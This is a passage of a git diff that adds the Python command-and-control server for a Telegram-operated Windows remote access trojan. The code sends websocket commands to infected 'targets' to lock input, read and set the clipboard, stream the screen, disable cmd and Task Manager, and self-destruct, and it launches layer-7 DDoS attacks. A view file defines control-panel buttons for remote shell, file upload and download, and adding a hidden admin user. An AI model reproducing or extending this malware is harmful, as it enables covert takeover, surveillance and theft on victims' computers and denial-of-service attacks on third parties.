data.split("-")[1] + msg = await event.edit("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + try: + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + await websocket.send(encode( + {"action":"lockinput","user_id":user_id,"msg_id":msg.id} + )) + + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + + elif "unlockinput" == data.split("-")[0]: + ip = data.split("-")[1] + msg = await event.edit("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + try: + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + await websocket.send(encode( + {"action":"unlockinput","user_id":user_id,"msg_id":msg.id} + )) + + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + + elif "getclipboardreq" == data.split("-")[0]: + ip = data.split("-")[1] + msg = await event.edit("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + try: + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + await websocket.send(encode( + {"action":"getclipboard","user_id":user_id,"msg_id":msg.id} + )) + + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + + elif "setclipboard" == data.split("-")[0]: + ip = data.split("-")[1] + await event.edit("ᴇɴᴛᴇʀ ᴛᴇxᴛ ᴛᴏ sᴇᴛ ᴏɴ ᴄʟɪᴘʙᴏᴀʀᴅ:",buttons=BACK_BUTTON) + userlocal[user_id]['step'] = "SetClipboard" + userlocal[user_id]['ip'] = ip + + elif "ddos" == data.split("-")[0]: + ip = data.split("-")[1] + await event.edit(DDOS_TEXT,buttons=BACK_BUTTON) + userlocal[user_id]['step'] = "ddos" + userlocal[user_id]['ip'] = ip + + elif "ddoswithall" == data: + await event.edit(DDOS_TEXT,buttons=BACK_BUTTON) + userlocal[user_id]['step'] = "ddoswithall" + + elif "selfdestroy" == data.split("-")[0]: + ip = data.split("-")[1] + msg = await event.edit("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + await websocket.send(encode( + {"action":"selfdestroy","user_id":user_id,"msg_id":msg.id} + )) + await event.edit(RAT_DESTROYED,buttons=BACK_BUTTON) + + elif "stramtgon" == data.split("-")[0]: + ip = data.split("-")[1] + msg = await event.edit("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + + try: + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + await websocket.send(encode( + {"action":"streamviewon","user_id":user_id,"msg_id":msg.id} + )) + + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + + elif "stramtgoff" == data.split("-")[0]: + ip = data.split("-")[1] + msg = await event.edit("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + try: + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + await websocket.send(encode( + {"action":"streamviewoff","user_id":user_id,"msg_id":msg.id} + )) + + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + elif "cmdkillon" == data.split("-")[0]: + ip = data.split("-")[1] + msg = await event.edit("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + websocket = list(filter(lambda x: x.remote_address[0] == ip,connected_websockets))[0] + try: + websocket = list(filter(lambda x: x.remote_address[0] == ip,connected_websockets))[0] + await websocket.send(encode( + {"action":"cmdkillon","user_id":user_id,"msg_id":msg.id} + )) + + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + + elif "cmdkilloff" == data.split("-")[0]: + ip = data.split("-")[1] + msg = await event.edit("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + websocket = list(filter(lambda x: x.remote_address[0] == ip,connected_websockets))[0] + try: + websocket = list(filter(lambda x: x.remote_address[0] == ip,connected_websockets))[0] + await websocket.send(encode( + {"action":"cmdkilloff","user_id":user_id,"msg_id":msg.id} + )) + + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + + elif "tskmgrkilloff" == data.split("-")[0]: + ip = data.split("-")[1] + msg = await event.edit("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + websocket = list(filter(lambda x: x.remote_address[0] == ip,connected_websockets))[0] + try: + websocket = list(filter(lambda x: x.remote_address[0] == ip,connected_websockets))[0] + await websocket.send(encode( + {"action":"tskmgrkilloff","user_id":user_id,"msg_id":msg.id} + )) + + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + + elif "tskmgrkillon" == data.split("-")[0]: + ip = data.split("-")[1] + msg = await event.edit("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + websocket = list(filter(lambda x: x.remote_address[0] == ip,connected_websockets))[0] + try: + websocket = list(filter(lambda x: x.remote_address[0] == ip,connected_websockets))[0] + await websocket.send(encode( + {"action":"tskmgrkillon","user_id":user_id,"msg_id":msg.id} + )) + + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + + elif "deleteuser" == data.split("-")[0]: + ip = data.split("-")[1] + await event.edit("📛 ᴇɴᴛᴇʀ ᴜsᴇʀ ᴛᴏ ᴅᴇʟᴇᴛᴇ :",buttons=BACK_BUTTON) + userlocal[user_id]['step'] = "GetUserToDelete" + userlocal[user_id]['ip'] = ip + + elif "addfulluser" == data.split("-")[0]: + ip = data.split("-")[1] + await event.edit(ADD_USER,buttons=BACK_BUTTON) + userlocal[user_id]['step'] = "GetUserToAdd" + userlocal[user_id]['ip'] = ip + +async def mainll(): + ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + ssl_context.load_cert_chain(certfile=ssl_certfile, keyfile=ssl_keyfile) + async with websockets.serve(websocket_endpoint, HOST, PORT, ssl=ssl_context): + await asyncio.Future() # run forever + +def start_mainll(): + print(f"\t\tRunning Webscoket on port {PORT}.") + asyncio.run(mainll()) + +if __name__ == "__main__": + thread = threading.Thread(target=start_mainll) + thread.start() + client.run_until_disconnected() + diff --git a/PythonPart/view.py b/PythonPart/view.py new file mode 100644 index 0000000..7836946 --- /dev/null +++ b/PythonPart/view.py @@ -0,0 +1,91 @@ +from telethon import Button + +LIST_TEXT = '''╔══════════════════╗ + ʟɪsᴛ ᴏғ ᴀʟʟ ᴏɴʟɪɴᴇ ᴛᴀʀɢᴇᴛs + ᴄᴏɴɴᴇᴄᴛᴇᴅ ᴛᴏ ᴡᴇʙsᴏᴄᴋᴇᴛ +╚══════════════════╝''' + +HOME_TEXT = '''╔════════★═════════╗ + ᴡᴇʟᴄᴏᴍᴇ ᴛᴏ YourName + ᴡɪɴᴅᴏᴡs ʀᴀᴛ +╚══════════════════╝''' + +HOME_BUTTON = [ + [Button.inline("Oɴʟɪɴᴇ Tᴀʀɢᴇᴛs","GetOnlineRequest"),Button.inline("Dᴏ Cᴏᴍᴍᴀɴᴅ ᴏɴ ᴀʟʟ")], + [Button.inline("Sᴇʟғ Dᴇsᴛʀᴏʏ"),Button.inline("ᴅᴅᴏs ᴡɪᴛʜ ᴀʟʟ","ddoswithall")], + [Button.inline("Sᴇᴛᴛɪɴɢs")] +] + +BACK_BUTTON = [Button.inline("ʙᴀᴄᴋ","back")] +TG_CONTROL_TEXT = '''╔══════════════════╗ + ᴛᴀʀɢᴇᴛ ᴄᴏɴᴛʀᴏʟ ᴘᴀɴᴇʟ +╚══════════════════╝''' + + +def getControl(ip): + return [ + [Button.inline("sʜᴇʟʟ",f"shellexec-{ip}"),Button.inline("ᴛᴀʀɢᴇᴛ ɪɴғᴏ",f"tginforeq-{ip}")], + [Button.inline("ɢᴇᴛ ᴄʟɪᴘʙᴏᴀʀᴅ",f"getclipboardreq-{ip}"),Button.inline("sᴇᴛ ᴄʟɪᴘʙᴏᴀʀᴅ",f"setclipboard-{ip}")], + [Button.inline("ᴛᴀsᴋᴍɢʀ ᴋɪʟʟᴇʀ ᴏɴ",f"tskmgrkillon-{ip}"),Button.inline("ᴛᴀsᴋᴍɢʀ ᴋɪʟʟᴇʀ ᴏғғ",f"tskmgrkilloff-{ip}")], + [Button.inline("Cᴍᴅ ᴋɪʟʟᴇʀ ᴏɴ",f"cmdkillon-{ip}"),Button.inline("Cᴍᴅ ᴋɪʟʟᴇʀ ᴏғғ",f"cmdkilloff-{ip}"),], + [Button.inline("ᴜᴘʟᴏᴀᴅ ғɪʟᴇ",f"upload-{ip}"),Button.inline("ᴅᴏᴡɴʟᴏᴀᴅ ғɪʟᴇ",f"download-{ip}")], + [Button.inline("ʟᴏᴄᴋ ɪɴᴘᴜᴛ",f"lockinput-{ip}"),Button.inline("ᴜɴʟᴏᴄᴋ ɪɴᴘᴜᴛ",f"unlockinput-{ip}")], + [Button.inline("Sᴇʟғ Dᴇsᴛʀᴏʏ",f"selfdestroy-{ip}"),Button.inline("ʟ7 ᴅᴅᴏs ᴀᴛᴛᴀᴄᴋ",f"ddos-{ip}")], + [Button.inline("ᴀᴅᴅ ʜɪᴅᴅᴇɴ ᴀᴅᴍɪɴ ᴜsᴇʀ",f"addfulluser-{ip}"),Button.inline("ᴅᴇʟᴇᴛᴇ ᴜsᴇʀ",f"deleteuser-{ip}")], + [Button.inline("sᴛʀᴇᴀᴍ ᴛᴀʀɢᴇᴛ ᴏɴ",f"stramtgon-{ip}"),Button.inline("sᴛʀᴇᴀᴍ ᴛᴀʀɢᴇᴛ ᴏғғ",f"stramtgoff-{ip}")], + BACK_BUTTON + ] + +DDOS_TEXT = '''Sᴇɴᴅ ʏᴏᴜʀ ᴅᴅᴏs ᴛᴀʀɢᴇᴛ ʟɪᴋᴇ ᴛʜɪs + +url time thread + +ᴇxᴀᴍᴘʟᴇ: + +https://google.com/ 120 100''' + + +RAT_DESTROYED = '''Rᴀᴛ Dᴇsᴛʀᴏʏᴇᴅ ᴏɴ ᴛᴀʀɢᴇᴛ sᴜᴄᴄᴇssғᴜʟʟʏ .✅ + +ᴛʜɪs ᴛᴀʀɢᴇᴛ ɪs ɴᴏ ʟᴏɴɢᴇʀ ᴀᴠᴀɪʟᴀʙʟᴇ.''' + + +FULL_HTML_TEXT = ''' + + + + Viewer + + + + + +''' + + +ADD_USER = '''🌀 ᴇɴᴛᴇʀ ᴜsᴇʀ ᴛᴏ ᴀᴅᴅ: + +ᴇxᴀᴍᴘʟᴇ : + + +username1 rat123456''' \ No newline at end of file